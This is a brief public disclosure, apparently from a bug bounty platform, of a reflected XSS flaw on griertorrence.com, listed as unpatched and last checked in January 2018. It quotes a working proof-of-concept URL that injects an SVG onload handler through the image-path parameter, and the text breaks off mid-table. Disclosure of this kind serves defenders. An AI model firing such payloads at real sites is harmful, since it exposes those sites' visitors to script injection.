griertorrence.com XSS vulnerability

Vulnerable URL: http://www.griertorrence.com/largeimgpop.php?imgpath=xss%22%27%3E%3Csvg/onload=prompt/openbugbounty/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...